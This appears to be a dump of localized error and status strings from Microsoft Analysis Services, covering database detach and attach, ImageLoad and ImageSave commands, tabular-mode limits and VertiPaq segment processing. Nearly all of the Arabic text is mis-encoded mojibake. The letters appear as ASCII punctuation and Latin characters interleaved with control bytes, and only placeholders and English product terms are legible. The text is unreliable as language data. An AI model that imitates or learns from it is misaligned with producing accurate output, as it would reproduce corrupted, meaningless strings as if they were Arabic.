A4D 'DA5D.*E (/! 'D%D-'B.*E %FG'! 'D%D-'B.A4D 'D%D-'B.P*E *,'GD CDE) 'D31 'DE-//) AJ 'D#E1 "A5D" D#F B'9/) 'D(J'F'* AJ H69 DDB1'!) AB7.u%E' #F 'DE3*./E '%{pii_strUser/}' DJ3 D/JG 'D%0F DA5D B'9/) 'D(J'F'* '%{strObject/}' #H #F B'9/) 'D(J'F'* :J1 EH,H/).^'DC'&F 'DE-// AJ #E1 'DA5D DJ3 B'9/) (J'F'*. AJ -JF #FG D' JECF A5D %D' C'&F'* BH'9/ 'D(J'F'*.DD' JECF A5D B'9/) 'D(J'F'* -J+ %FG' *4*ED 9DI B3E (9J/ H'-/ #H #C+1.WD' JECF %1A'B B'9/) 'D(J'F'* D#F CDE) 'DE1H1 'DE-//) :J1 5-J-) #H B'9/) 'D(J'F'* *'DA).L-/+ .7# AJ 'DE/.D'*/'DE.1,'* #+F'! F3. 'DEDA '%{db_xml_file/}' AJ 3,D 'DA5D.�'DE3*./E '%{pii_strUser/}' DJ3 D/JG 'D%0F D%1A'B B'9/) 'D(J'F'* ('D.'/E '%{strObject/}'. JO3E- AB7 DE3$HDJ 'D.'/E (%1A'B BH'9/ 'D(J'F'*.ND' JECF *FAJ0 #E1 'DA5D #H 'D%1A'B .D'D 9EDJ) (/#G' E3*./E #H AJ /A9) E9'ED'*.�D' JECF %1A'B B'9/) 'D(J'F'* F81K' DHBH9 .7# #+F'! *-EJD 3,D 'DA5D EF 'DEDA '%{strRef/}'. EF 'D#3('( 'DE-*ED) %1A'B B'9/) (J'F'* ('DA9D AJ 'DH69 ReadWrite (E+JD .'/E ".1.aD' JECF A5D B'9/) 'D(J'F'* EF EDA EC9( E-DJ. -J+ J*E '9*E'/ 'D%1A'B/'DA5D AB7 9DI E+JD'* 'D.H'/E.aD' JECF %1A'B B'9/) 'D(J'F'* (EDA EC9( E-DJ. -J+ J*E '9*E'/ 'D%1A'B/'DA5D AB7 9DI E+JD'* 'D.H'/E.G*901 'D9+H1 9DI 3,D 'DA5D '%{filename/}' AJ E,D/ B'9/) 'D(J'F'* 'DE-//.]'3E E3'1 3,D 'DA5D '%{filename/}' :J1 5-J-. #/.D '3EK' E.*DAK' DDEDA +E C11 'D9EDJ) E1) #.1I.sE,D/ B'9/) 'D(J'F'* 'DE-// '%{filename/}' :J1 5'D-. AGH D' J7'(B '57D'- *3EJ) Analysis Services D@ 'ID.version.db'.�E3'1 'DE,D/ 'DE-// '%{filename/}' :J1 5-J-: AGH :J1 EH,H/ 6EF E,D/ ,01 'D.'/E. #/.D '3EK' E.*DAK' DDE,D/ +E C11 'D9EDJ) E1) #.1I.ZD' JECF %1A'B B'9/) 'D(J'F'* F81K' DH,H/ B'9/) (J'F'* #.1I ('D'3E '%{objectname/}' ('DA9D.YD' JECF %1A'B B'9/) 'D(J'F'* F81K' DH,H/ B'9/) (J'F'* #.1I ('DE91A '%{objectid/}' ('DA9D.fD' JECF %1A'B B'9/) 'D(J'F'* F81K' D*DA 3,D 'DA5D. -/+ .7# #+F'! *-/J/ EHB9 9B/) %{node/} #H E9'D,*G'.P-/+ .7# AJ 'DE/.D'*/'DE.1,'* #+F'! '3*.1', 'DEDA '%{db_xml_file/}' EF 3,D 'DA5D.�D' JECF %1A'B B'9/) 'D(J'F'* F81K' DHBH9 .7# #+F'! *-EJD 3,D 'D.7# EF 'DEDA '%{db_detach_log/}'. EF 'D#3('( 'DE-*ED) %1A'B B'9/) 'D(J'F'* ('DA9D AJ 'DH69 ReadWrite (E+JD .'/E ".1.�D' JECF %1A'B B'9/) 'D(J'F'* D#FG B/ *E A5DG' EF .'/E 0J ConnStringEncryptionEnabled=%d{BLSet/} AJ -JF #F 'DE3*./E 'D-'DJ JE*DC ConnStringEncryptionEnabled=%d{CSSet/}.�D' JECF %1A'B B'9/) 'D(J'F'* D#FG B/ *E A5DG' EF .'/E 0J EnableXMLMetadata=%d{BLSet/} AJ -JF #F 'D.'/E 'D-'DJ J4*ED 9DI EnableXMLMetadata=%d{CSSet/}.�D' JECF %1A'B B'9/) 'D(J'F'* D#FG B/ *E A5DG' EF .'/E 0J EnableCompression=%d{BLSet/} AJ -JF #F 'D.'/E 'D-'DJ J4*ED 9DI EnableCompression=%d{CSSet/}.PAnE,D/ B'9/) 'D(J'F'* '%{detach_log_location/}' :J1 EH,H/ #H 7HJD DD:'J) #H J4*ED 9DI -1HA :J1 5'D-) #H *E -,2G.-E,D/ B'9/) 'D(J'F'* '%{filename/}' :J1 EH,H/.�D' JECF %F4'! B'9/) 'D(J'F'* ('DE91A '%{dbid/}' E9 *9JJF ReadWriteMode %DI ReadOnly. -J+ D' JECF %F4'! B'9/) 'D(J'F'* %D' AJ 'DH69 ReadWrite.�D' JECF *:JJ1 B'9/) 'D(J'F'* ('DE91A '%{dbid/}' EF ReadWrite %DI ReadOnly #H 'D9C3. -J+ D' JECF *9/JD 'D.'5J) ReadWriteMode ('D#E1 "*(/JD".CD' JECF #F JCHF E,D/ B'9/) 'D(J'F'* 'DE-// AJ 'D#E1 "%1A'B" A'1:K'.�D' JECF %1A'B B'9/) 'D(J'F'* F81K' DHBH9 .7# #+F'! *-EJD 3,D 'DA5D EF 'DEDA '%{filename/}'. EF 'D#3'( 'DE-*ED) %1A'B B'9/) 'D(J'F'* ('DA9D AJ 'DH69 ReadWrite (E+JD .'/E ".1.cH8'&A 'D%1A'B H'DA5D :J1 E9*E/) EF BP(D E-1C Analysis Services 'DE6EQNF 'D0J J9ED AJ 'DH69 'D,/HDJ.AE3'1 'DEDA 'DF3(J :J1 E9*E/ DE,D/'* B'9/) 'D(J'F'* 'D*J *E A5DG'.5D' J3E- (7D('* 'D'3*9D'E .D'D E9'ED'* 'DC*'() 'DF47).UJ*901 A5D B'9/) 'D(J'F'* F81K' D-/H+ .7# #+F'! '3*E1'1 A5D EDA 'D3,D '%{filename/}'. }J*901 A5D B'9/) 'D(J'F'* (3(( 8GH1 .7# #+F'! %,1'! 'DF3. 'DE*E'+D DB'9/) 'D(J'F'* '%{database/} %DI EHB9 'D'3*E1'1 'DE4*1C'. zJ*901 A5D B'9/) 'D(J'F'* F81K' D#F -'D) 'DE2'EF) D3,D 9EDJ) 'DE2'EF) 'D-'DJ) DB'9/) 'D(J'F'* '%{database/}' GJ :J1 5'D-). p*901 A5D B'9/) 'D(J'F'* F81K' D9/E 'D9+H1 9DI 3,D 9EDJ) D9EDJ) 'DE2'EF) 'D-'DJ) DB'9/) 'D(J'F'* '%{database/}'. 7A4D A5D B'9/) 'D(J'F'* '%{database/}' E9 .7# :J1 EO5FA.HA4D A5D B'9/) 'D(J'F'* '%{database/}' F81K' D'F*G'! EGD) 'DF3. 'DE*E'+D.~A4D A5D B'9/) 'D(J'F'* '%{database/}' (3(( *9'16 C'&F 'D*.2JF 'D+F'&J C(J1 'D-,E AJ 9EDJ) F3. C'&F 'D*.2JF 'D+F'&J C(J1 'D-,E.PAjA4D A5D B'9/) 'D(J'F'* '%{database/}' F81K' DH,H/ badrequest AJ 9EDJ) F3. C'&F 'D*.2JF 'D+F'&J C(J1 'D-,E.�A4D A5D B'9/) 'D(J'F'* '%{database/}' F81K' D*901 'D9+H1 9DI 'DC'&F 'D+F'&J C(J1 'D-,E .D'D 9EDJ) F3. C'&F 'D*.2JF 'D+F'&J C(J1 'D-,E.bA4D A5D B'9/) 'D(J'F'* '%{database/}' (3(( .7# EEFH9 AJ 9EDJ) F3. C'&F 'D*.2JF 'D+F'&J C(J1 'D-,E.�#+F'! 'D%1A'B ('3*./'E AllowOverwrite=true DE F9+1 9DI B'9/) (J'F'* H'-/) **7'(B E9: '3E B'9/) 'D(J'F'* HE91A B'9/) 'D(J'F'* 'DE.2FJF AJ 3,D 'DA5D.�D' J*E /9E 'D%1A'B ('3*./'E AllowOverwrite=true 9(1 B'9/) (J'F'* EH,H/) %D' DBH'9/ 'D(J'F'* 'D*J *E (G' *-/J/ 'D.'5J) DBStorageLocation. B'9/) 'D(J'F'* '%{name/}' 'DEH,H/) DE J*E *-/J/ DBStorageLocation (G'.�D' J*E /9E 'D%1A'B ('3*./'E AllowOverwrite=true 9(1 B'9/) (J'F'* EH,H/) %D' DBH'9/ 'D(J'F'* 'DE-// (G' 'D.'5J) DBStorageLocation. B'9/) 'D(J'F'* '%{name/}' 'D*J J,1J %1A'BG' DE J*E *-/J/ DBStorageLocation (G'.�D' J*E /9E 'D%1A'B ('3*./'E AllowOverwrite=true 9(1 B'9/) (J'F'* EH,H/) %D' DBH'9/ 'D(J'F'* 'D,/HDJ) 0'* CompatibilityLevel ('DBJE) 1200 H#C+1. %E' #F B'9/) 'D(J'F'* 'DEH,H/) '%{name/}' *6E CompatibilityLevel #BD #H DJ3* B'9/) (J'F'* ,/HDJ).�D' J*E /9E 'D%1A'B ('3*./'E AllowOverwrite=true 9(1 B'9/) (J'F'* EH,H/) %D' DBH'9/ 'D(J'F'* 'D,/HDJ) 0'* CompatibilityLevel ('DBJE) 1200 H#C+1. %E' #F B'9/) 'D(J'F'* '%{name/}' 'D*J J*E %1A'BG' 0'* CompatibilityLevel #BD #H DJ3* B'9/) (J'F'* ,/HDJ).VB'9/) 'D(J'F'* '%{name/}' (FA3 DBStorageLocation HPersistLocationVersion E1AB) ('DA9D.PA�-/+ 'D'3*+F'! 'D*'DJ #+F'! *4:JD 'D#/') 'DE3'9/) D@ SharePoint (Microsoft.AnalysisServices.SharePointUtil.dll): %1[%{exception/}%]%[;%{exceptioninner/}%].�%F 'D.5'&5 0'* 'D5D) (@ SharePoint AJ 'D#E1 ImageLoad: HGJ ImageVersion HImageUrl HImageUniqueId J,( %E' *-/J/G' E9K' #H 9/E *-/J/G'.qD' JO3E- (E3'1 HTTP D.'5J) ImagePath DD#E1 ImageLoad; %0 D' J*E '9*E'/ 3HI E3'1 UNC 'DE7DB H'DE3'1'* 'DE-DJ) AB7.5CDE) 'DE1H1 AJ ImageLoad: E-,H2). DE J*E *FAJ0G' (9/.JD' JECF *-EJD 'DEDA 'DE-AH8 AJ 'DH69 '%{FromMode/}' AJ 'DH69 '%{ToMode/}'.PAiJ3E- AB7 ('D#E1 Command ImageSave 0J Data=false 9DI BH'9/ 'D(J'F'* 'D*J *E *-/J/ 'D.'5J) ImagePath 9DJG'.5CDE) 'DE1H1 AJ ImageSave: E-,H2). DE J*E *FAJ0G' (9/.�J*HA1 %5/'1 #-/+ DG0' 'DE3*F/ 9DI 'D.'/E. D'3*./'E G0' 'DE3*F/ 'A*- #-/+ %5/'1. '.*1 '3EK' #H EHB9K' E.*DAK' D-A8 'DEDA 'D-'DJ.?'DEDA Excel '%{FromFile/}' :J1 EH,H/. *E %JB'A 'D#E1 ImageSave./J*7D( G0' 'D#E1 *HA1 #0HF'* 'DE3$HD 9DI 'D.'/E./J*7D( G0' 'D#E1 *HA1 #0HF'* 'DE3$HD 9DI 'D.'/E.=J*7D( G0' 'D#E1 1E2K' EEJ2K' 9F/ -A8 EDA %DI E3'1 SharePoint.>J*7D( G0' 'D#E1 1E2K' EEJ2K' 9F/ *-EJD EDA EF E3'1 SharePoint.6D' JECF DD#E1 *-/J/ 1E2 EEJ2 9F/ -A8 EDA %DI E3'1 UNC.7D' JECF DD#E1 *-/J/ 1E2 EEJ2 9F/ *-EJD EDA EF E3'1 UNC.aJ/9E 'D#E1 ImageLoad *-EJD 'D(J'F'* EF EDA'* Excel AB7 AED-B 'DEDA D' JECF #F JCHF %D' XLS. AB7./J*7D( G0' 'D#E1 *HA1 #0HF'* 'DE3$HD 9DI 'D.'/E.;'D#E1 CloneDatabase :J1 E9*E/ D3JF'1JHG'* 'DEC9('* 'DE-DJ).5'D#E1 CloneDatabase :J1 E9*E/ AJ PowerPivot D@ Excel.CD' JECF '3*./'E E1,9 'DC'&F HDatabaseName E9K' J,( *-/J/ H'-/ AB7.;DE J*E *-/J/ DatabaseName #H DatabaseId AJ 'D#E1 ImageSave./J*7D( G0' 'D#E1 *HA1 #0HF'* 'DE3$HD 9DI 'D.'/E.>J*901 *FAJ0 #E1 ImageLoad EB'(D E*,1 (9J/ ('3*./'E '*5'D EBJ/.CJ*901 *FAJ0 'D#E1 ImageSave EB'(D E*,1 (9J/ ('3*./'E '*5'D EOBJQN/.?J*901 9DI 'D#E1 ImageSave '3*G/'A */AB 9F/ '3*./'E '*5'D E3$HD.�J/9E 'D#E1'F ImageLoad/ImageSave -A8/*-EJD 'D(J'F'* DEDA'* Excel #H PBI Desktop #H Zip. JECF #F JCHF ED-B 'DEDA .XLS? #H .PBIX #H .ZIP AB7.&A4D ImageLoad (3(( .7# AJ -3'( 'DE.2F.*A4D ImageLoad (3(( *DA AJ EDA abf 'DEB'(D.PA!(/#* E9'D,) 'D,/HD '%{strName/}'."'F*G* E9'D,) 'D,/HD '%{strName/}'.-(/#* B1'!) 'D(J'F'* DD,/HD '%{IMBITableId/}'.-,'1M B1'!) 'D(J'F'* DD,/HD '%{IMBITableId/}'..'F*G* B1'!) 'D(J'F'* DD,/HD '%{IMBITableId/}'.<(/# *-DJD/*1EJ2 'DEB79 %d{segment/} D,/HD '%{IMBITableId/}'.>'F*GI *-DJD/*1EJ2 'DEB79 %d{segment/} D,/HD '%{IMBITableId/}'.R(/# 6:7 'DEB79 %d{segment/} EF 'D9EH/ '%{IMBIColumnId/}' DD,/HD '%{IMBITableId/}'.S'F*GI 6:7 'DEB79 %d{segment/} EF 'D9EH/ '%{IMBIColumnId/}' DD,/HD '%{IMBITableId/}'1(/# (F'! 9D'B) H%9/'/G' DD,/HD '%{IMBITableId/}'.3'F*GI (F'! 9D'B) H%9/'/G' DD,/HD '%{IMBITableId/}'.6(/# 6:7 'DEB79 %d{segment/} EF ,/HD '%{IMBITableId/}'.�'C*ED 6:7 'DEB79 '%d{segment/}' EF ,/HD '%{IMBITableId/}' AJ '%d{steps/}' .7H) -J+ *E '-*3'( '%d{clusters/}' F8'E E,EH9) (5A) %,E'DJ). DE J*E H69 9EDJ) 'D*FAJ0 AJ E1(9 2EFJ.�'C*ED 6:7 'DEB79 '%d{segment/}' EF ,/HD '%{IMBITableId/}' AJ '%d{steps/}' .7H) -J+ *E '-*3'( '%d{clusters/}' F8'E E,EH9) (5A) %,E'DJ). DE J*E H69 9EDJ) 'D*FAJ0 AJ E1(9 2EFJ.O(/#* E9'D,) 'D*1EJ2 'DEEJ2 DD9EH/ '%{IMBIColumnId/}' ('D,/HD '%{IMBITableId/}'.P'F*G* E9'D,) 'D*1EJ2 'DEEJ2 DD9EH/ '%{IMBIColumnId/}' ('D,/HD '%{IMBITableId/}'.(/# 'D*-EJD.'F*GI 'D*-EJD.A4D 'D*-EJD.(/! *-EJD (J'F'* 'D*91JA.A4D *-EJD (J'F'* 'D*91JA.A4D *-EJD (J'F'* 'D*91JA.(/# *-EJD 'D(J'F'*.'F*GI *-EJD 'D(J'F'*.A4D *-EJD 'D(J'F'*.(/# *-EJD 'DEF4H1.PA'F*GI *-EJD 'DEF4H1.A4D *-EJD 'DEF4H1.�J-*HJ 'D9EH/ '%{IMBIColumnId/}' AJ 'D,/HD '%{IMBITableId/}' 9DI BJE) EC11) '%{value/}' HG0' :J1 E3EH- (G DD#9E/) 'D*J 9DI ,'F( H'-/ D9D'B) EF 9/J/ %DI H'-/ #H DD#9E/) 'D*J J*E '3*./'EG' CEA*'- #3'3J D,/HD.�J-*HJ 'D9EH/ '%{IMBIColumnId/}' AJ 'D,/HD '%{IMBITableId/}' 9DI BJE A'1:) HG0' :J1 E3EH- (G DD#9E/) 'DEH,H/) 9DI ,'F( H'-/ D9D'B) EF 9/J/ %DI H'-/ #H DD#9E/) 'D*J *O3*./E CEA*'- #3'3J D,/HD.	%{query/}	%{query/}w**E %9'/) *1EJ2 'D9EH/ '%{IMBIColumnId/}' ('D,/HD '%{IMBITableId/}': J*E 'D*(/JD %DI B'EH3 BJE ('D/1,) 'D*J *E *-/J+G'.a**E %9'/) *1EJ2 'D9EH/ '%{IMBIColumnId/}' ('D,/HD '%{IMBITableId/}': J*E 'D*(/JD %DI B'EH3 *,2&).H'F*GI *(/JD 'DB'EH3 DD9EH/ '%{IMBIColumnId/}' ('D,/HD '%{IMBITableId/}'.PAB(/#* E9'D,) 'DB3E '%{IMBIPartitionId/}' ('D,/HD '%{IMBITableId/}'.C'F*G* E9'D,) 'DB3E '%{IMBIPartitionId/}' ('D,/HD '%{IMBITableId/}'.PA
(J'F'* +F'&J)�E5/1 'D3E) 'D+F'&J) J-*HJ 9DI BJE) #C(1 EF 'D-,E 'D#B5I 'DE-// AJ .'5J) DataSize 9F/E' *E *-/J/ 'D3E) H*E *9JJF 'DBJE) 9DI A'1:).PAD(/#* B1'!) (J'F'* ,/HD '%{IMBITableId/}' B3E '%{IMBIPartitionId/}'.D,'1M B1'!) (J'F'* ,/HD '%{IMBITableId/}' B3E '%{IMBIPartitionId/}'.E'F*G* B1'!) (J'F'* ,/HD '%{IMBITableId/}' B3E '%{IMBIPartitionId/}'.j(/# 6:7 'DEB79 %d{segment/} EF 9EH/ '%{IMBIColumnId/}' (,/HD '%{IMBITableId/}' B3E '%{IMBIPartitionId/}'.p'F*GI 6:7 'DEB79 %d{segment/} EF 'D9EH/ '%{IMBIColumnId/}' ('D,/HD '%{IMBITableId/}' B3E '%{IMBIPartitionId/}'.Q(/# 6:7 'DEB79 %d{segment/} EF ,/HD '%{IMBITableId/}' B3E '%{IMBIPartitionId/}'.�'C*ED 6:7 'DEB79 '%d{segment/}' EF ,/HD '%{IMBITableId/}' B3E '%{IMBIPartitionId/}' AJ '%d{steps/}' .7H) -J+ *E '-*3'( '%d{clusters/}' F8'E E,EH9) (5A) %,E'DJ). DE J*E H69 9EDJ) 'D*FAJ0 AJ E1(9 2EFJ.�'C*ED 6:7 'DEB79 '%d{segment/}' EF ,/HD '%{IMBITableId/}' B3E '%{IMBIPartitionId/}' AJ '%d{steps/}' .7H) -J+ *E '-*3'( '%d{clusters/}' F8'E E,EH9) (5A) %,E'DJ). DE J*E H69 9EDJ) 'D*FAJ0 AJ E1(9 2EFJ.W(/# *-DJD/*1EJ2 'DEB79 %d{segment/} (,/HD '%{IMBITableId/}' B3E '%{IMBIPartitionId/}'.Y'F*GJ *-DJD/*1EJ2 'DEB79 %d{segment/} (,/HD '%{IMBITableId/}' B3E '%{IMBIPartitionId/}'.	%{query/}	%{query/}	%{query/}	%{query/}	%{query/}	%{query/}E,'1M 'D*-BB EF *F'3B B'9/) 'D(J'F'* '%{db/}'. 'DE1-D): E' B(D 'D*-BB.PA@,'1M 'D*-BB EF *F'3B 'D,/HD '%{table/}'. 'DE1-D): E' B(D 'D*-BB.>,'1M 'D*-BB EF *F'3B 'D9EH/ '%{col/}'. 'DE1-D): E' B(D 'D*-BB.E,'1M 'D*-BB EF *F'3B B'9/) 'D(J'F'* '%{db/}'. 'DE1-D): E' (9/ 'D*-BB.@,'1M 'D*-BB EF *F'3B 'D,/HD '%{table/}'. 'DE1-D): E' (9/ 'D*-BB.>,'1M 'D*-BB EF *F'3B 'D9EH/ '%{col/}'. 'DE1-D): E' (9/ 'D*-BB.PA>**HA1 'DH8'&A AB7 9F/E' JCHF Analysis Services AJ 'DH69 ,/HDJ.=D' **HA1 'DH8'&A 9F/E' JCHF Analysis Services AJ 'DH69 ,/HDJ.ADE J*E 'D9+H1 9DI E91A 'D,/HD '%{IMBITableId/}' AJ 'DE.77 'D-'DJ.JD' *4*ED E,EH9) 'DEBJ'3 '%{name/}' 9DI (O9/ E,EH9) EBJ'3 3'B7 H'-/ ('D6(7.�D' JECF %F4'! 'D(O9/ '%{IMBITableId/}' AJ 'DH69 'D,/HDJ D#F 'D3E) '%{IMBIColumnId/}' *1*(7 (FH9 (J'F'* 'DC'&F 'D+F'&J 'DC(J1 'D-,E.lD' JECF %F4'! 'D(O9/ '%{IMBITableId/}' AJ 'DH69 'D,/HDJ D#FG J1*(7 (,/'HD E*9//) AJ 916 E5/1 'D(J'F'* (DSV).MDE J*E 'D9+H1 9DI 'D9EH/ ('3E '%{IMBIColumnId/}' AJ 'D,/HD '%{IMBITableId/}'.VD' JH,/ *3D3D GJCDJ E6EQNF EB*1F ('D,/HD '%{IMBITableId/}' H'D9EH/ '%{IMBIColumnId/}'.bDE **E E9'D,) 'D*3D3D 'DGJCDJ 'DE6EF 'DEB*1F ('D,/HD '%{IMBITableId/}' H'D9EH/ '%{IMBIColumnId/}'.GDE J*E '9*E'/ Analysis Services AJ 'DH69 ,/HDJ 9DI 'DF8'E 'D#3'3J IA64.K-/+ .7# #+F'! *-EJD 'D,/HD '%{strTableName/}' 'DEDA '%{strPartFileName/}'.�-/+ .7# #+F'! *-EJD (J'F'* *91JA 'D,/HD 'D9B/) '%{nodename/}'. B/ *CHF 'D#3('( 'DE-*ED): *-/J/ xsi:type :J1 5-J- AJ G0G 'D9B/) #H *-/J/ xmlns 9DI F-H :J1 5-J- #H AB/G'.y-/+ .7# #+F'! *-EJD (J'F'* *91JA 'D,/HD. B/ *CHF 'D#3('( 'DE-*ED): *-/J/ .'5J) 9DI F-H :J1 3DJE AJ H69 XMObject #H AB/G'.�-/+ .7# #+F'! *-EJD (J'F'* *91JA 'D,/HD. 'D#3('( 'DE-*ED): *-/J/ '3E A&) :J1 E91HA '%{strClassName/}' DDC'&F '%{strObjectName/}'.PA�-/+ .7# #+F'! *-EJD (J'F'* *91JA 'D,/HD. 'D#3('( 'DE-*ED): *-/J/ '3E A&) :J1 E91HA '%{strClassName/}' DDC'&F '%{strObjectName/}'.T-/+ .7# #+F'! *-EJD (J'F'* 'D,/HD. 'D3(( 'DE-*ED: EDA (J'F'* *'DA D#-/ #9E/) 'D,/HD.^-/+ .7# #+F'! *-EJD (J'F'* 'D,/HD. 'D3(( 'DE-*ED: *DA EDA (J'F'* E.2F 3D3D) D#-/ #9E/) 'D,/HD._-/+ .7# #+F'! *-EJD (J'F'* 'D,/HD. 'D3(( 'DE-*ED: *DA EDA (J'F'* E.2F E*:J1 D#-/) #9E/) 'D,/HD.eFH9 'DE9'D,) 'DE-// D@ '%{name/}' %{typename/} :J1 5'D- 9F/E' JCHF Analysis Services AJ H69 VertiPaq.ZD' JECF E9'D,) 'DC'&F '%{name/}' %{typename/} 9F/E' JCHF Analysis Services AJ 'DH69 ,/HDJ.FFH9 'D(J'F'* DD9EH/ '%{IMBIColumnId/}' :J1 E/9HE. DBTYPE = %d{dbtype/}QE.77 VertiPaq 'DE3EI '%{strSchemaName/}' *901 %F4'$G AJ 'DE-1C D#FG EH,H/ ('DA9D.QE.77 VertiPaq 'DE3EI '%{strSchemaName/}' :J1 EH,H/ #H D' *E*DC %0FK' DDH5HD %DJG.MD' JECF D,D3) 9ED VertiPaq *FAJ0 'D9EDJ) 'DE7DH() F81K' D9/E *-/J/ #J E.77'*.6*E *91JA EA*'- #3'3J EC11 AJ 'D,/HD '%{IMBITableId/}'.8DE J*E *91JA #J EA*'- #3'3J AJ 'D,/HD '%{IMBITableId/}'.9J,( *91JA B3E H'-/ 9DI 'D#BD AJ 'D,/HD '%{IMBITableId/}'.�D' JECF %F4'! (O9/ 'DE1,9 '%{degdimname/}' 9DI E,EH9) 'DEB'JJ3 '%{mgname/}' D#F 3E) 'DFB'H) '%{attributename/}' DJ3* EA*'-K' #H 3E) A1J/) DD(O9/ '%{pkdimname/}'.ADE J*E 'D9+H1 9DI 'D9D'B) '%{name/}' AJ 'D,/HD '%{IMBITableId/}'.JD' JECF #F *4*ED B'9/) 'D(J'F'* VertiPaq '%{name/}' 9DI #C+1 EF EC9( H'-/.OD' JECF #F *-*HJ .'5J) VertiPaq '%{IMBIColumnId/}' 9DI 1(7 (#C+1 EF EA*'- H'-/.AD' JECF #F *4*ED .'5J) VertiPaq '%{IMBIColumnId/}' 9DI 1(7 'D'3E.�9F/ 'D9ED AJ 'DH69 ,/HDJ A%FG D' JECF DE,EH9) #F *4*ED 3HI 9DI (O9/ E1,9J #H (O9/ 3'B7. *4*ED E,EH9) 'DEBJ'3 '%{name/}' 9DI FH9 E.*DA.NJECF 'D%4'1) %DI 'D(O9/ 'D3'B7 VertiPaq '%{name/}' AJ E,EH9) EB'JJ3 H'-/) AB7.UJECF #F *4*ED E,EH9) EB'JJ3 %{parentType/} 'D*J *-ED '3E '%{name/}' 9DI B3E H'-/ AB7.�'D9D'B) ('D(O9/ 'DE1,9J '%{refdimname/}' 9F/ '3*./'E Analysis Services AJ 'DH69 'D,/HDJ J,( #F *-*HJ 9DI .'5J) 'D*,3JE E9JF) %DI 9'/J D#F 'D(O9/ 'DE*H37 '%{dimname/}' J9*(1 (O9/K' H'B9JK' DE,EH9) 'DEB'JJ3 '%{name/}'.�J9/ 1(7 EBJ'3 VertiPaq 'DE3EI '%{name/}' AJ E,EH9) 'DEBJ'3 '%{mgname/}' :J1 5'D- D#FG D' J7'(B #J 1(7 .'5J) DD(O9/ 'D-BJBJ '%{dimname/}'.�D' J9/ 'D*,EJ9 DDEBJ'3 '%{name/}' AJ E,EH9) 'DEBJ'3 '%{mgname/}' E9*E/K' AJ 'DH69 VertiPaq. A'D*,EJ9'* 'DE9*E/) GJ SUM HMIN HMAX HCOUNT.uA4D* E9'D,) E,EH9) 'DEBJ'3 '%{name/}' D#F 1(7 'DEBJ'3 '%{measurename/}' D' J7'(B 1(7 .'5J) 'D(O9/ '%{propertyname/}'.D' J4*ED MeasureGroupDimension '%{name/}' AJ E,EH9) 'DEBJ'3 '%{mgname/}' 9DI .'5J) 'ShareDimensionStorage' 'DE9JF) %DI 'E4'1C'.B'D.'5J) '%{name/}' :J1 E9*E/) E9 Analysis Services AJ 'DH69 ,/HDJ.H*4*ED 'D.'5J) '%{name/}' 9DI BJE) '%{value/}' :J1 E9*E/) AJ 'DH69 ,/HDJ.aAJ %{typename/} '%{objectname/}' D' JECF #F *4*ED 'D.'5J) '%{name/}' %D' 9DI 'DBJE) '%{value/}'.LJ,( 1(7 3E) 'D(O9/ 'D#3'3J '%{IMBIColumnId/}' (,EJ9 'D3E'* 'D#.1I AJ 'D(O9/.FD' JECF #F *4*ED 3E) 'D(O9/ 'D9'/J '%{IMBIColumnId/}' 9DI 9D'B'* 3E'*.x%0' *E *-/J/ 'DE5/1 D@ '%{IMBIColumnId/}' KeyColumn 'D.'5 (3E) 'D(O9/ A3JCHF %E' ColumnBinding #H RowNumberBinding AB7.t.'5J) StorageEngineMode DB'9/) 'D(J'F'* '%{name/}' :J1 5'D-) AJ 'DH69 ,/HDJ. A'DBJE) 'DE9*E/) 'DH-J/) GJ 'InMemory'.�A4D *CHJF C'&F MOLAP %{typename/} ('D'3E '%{name/}' #H *-EJDG D#F StorageEngineMode DB'9/) 'D(J'F'* '%{db_name/}' GH 'InMemory'.YA4D *CHJF 'DC'&F %{typename/} ('D'3E '%{name/}' #H *-EJDG D#FG :J1 E9*E/ AJ 'DH69 ,/HDJ.|J,( #F J-*HJ 'D(O9/ '%{IMBITableId/}' AJ 'DH69 'D,/HDJ 9DI 3E) H'-/) ('D6(7 EF 'DFH9 RowNumber H'DE1*(7 (@ RowNumberBinding.h'D3E) '%{IMBIColumnId/}' DD(O9/ '%{IMBITableId/}' EF 'DFH9 RowNumber HDCF D' *4*ED 9DI RowNumberBinding.e'D3E) '%{IMBIColumnId/}' DD(O9/ '%{IMBITableId/}' *6E RowNumberBinding HDCF FH9 'D3E) DJ3 RowNumber.�D' JECF %F4'! C'&F'* PowerPivot #H E9'D,*G' H0DC 9F/ *9JJF .'5J) 'D*CHJF StorageEngineMode %DI 'Traditional' DB'9/) 'D(J'F'* '%{name/}'.{D' JECF *9JJF 'D.'5J) StorageEngineMode DB'9/) 'D(J'F'* '%{name/}' %DI '*BDJ/J' D#F Analysis Services EH,H/ AJ 'DH69 ,/HDJ.�-,E (J'F'* EB79 'D9EH/ :J1 5-J- DD,/HD '%{IMBITableId/}'. %E' #F EDA 'DB3E '%{strPartFileName/}' *'DA #H #F EDA (J'F'* *91JA 'D,/HD *'DA.hD' JECF DDB3E '%{strPartIdx/}' DD,/HD '%{IMBITableId/}' #F J-*HJ 9DI EB'79 #9E/) D%5/'1'* (J'F'* E.*DA).�'D9D'B) ((O9/ 'DE1,9 '%{refdimname/}' 9F/ '3*./'E Analysis Services AJ 'DH69 'D,/HDJ J,( #F *-*HJ 9DI .'5J) 'D*,3JE E9JF) %DI :J1 E('41 D#F 'D(O9/ 'DE*H37 '%{dimname/}' DJ3 (O9/K' H'B9JK' DE,EH9) 'DEB'JJ3 '%{name/}'.n**H'AB 'D3E) RowNumber '%{IMBIColumnId/}' AJ 'D(O9/ VertiPaq '%{IMBITableId/}' E9 FH9 'D(J'F'* "9// 5-J-" AB7.�J,( #F *4*ED 'D3E) RowNumber '%{IMBIColumnId/}' AJ 'D(O9/ VertiPaq '%{IMBITableId/}' 9DI 9D'B) 3E) %DI 'D3E) 'D#3'3J) DD(O9/ 'D0J J-*HJ 9DI Cardinality='One'.�D' JECF %F4'! 'D9D'B) '%{strNewRelationship/}' -J+ %F 'D9D'B) '%{strExistingRelationship/}' EH,H/) ('DA9D EF 'D,/HD '%{strFKTableName/}' H'D9EH/ '%{strFKColumnName/}' %DI 'D,/HD '%{strPKTableName/}' H'D9EH/ '%{strPKColumnName/}'.�J-*HJ 'D9EH/ '%{IMBIColumnId/}' AJ 'D,/HD '%{IMBITableId/}' 9DI BJE) EC11) '%{value/}' HG0' :J1 E3EH- (G DD#9E/) 'D*J 9DI ,'F( H'-/ D9D'B) EF 9/J/ %DI H'-/ #H DD#9E/) 'D*J J*E '3*./'EG' CEA*'- #3'3J D,/HD.�J-*HJ 'D9EH/ '%{IMBIColumnId/}' AJ 'D,/HD '%{IMBITableId/}' 9DI BJE A'1:) 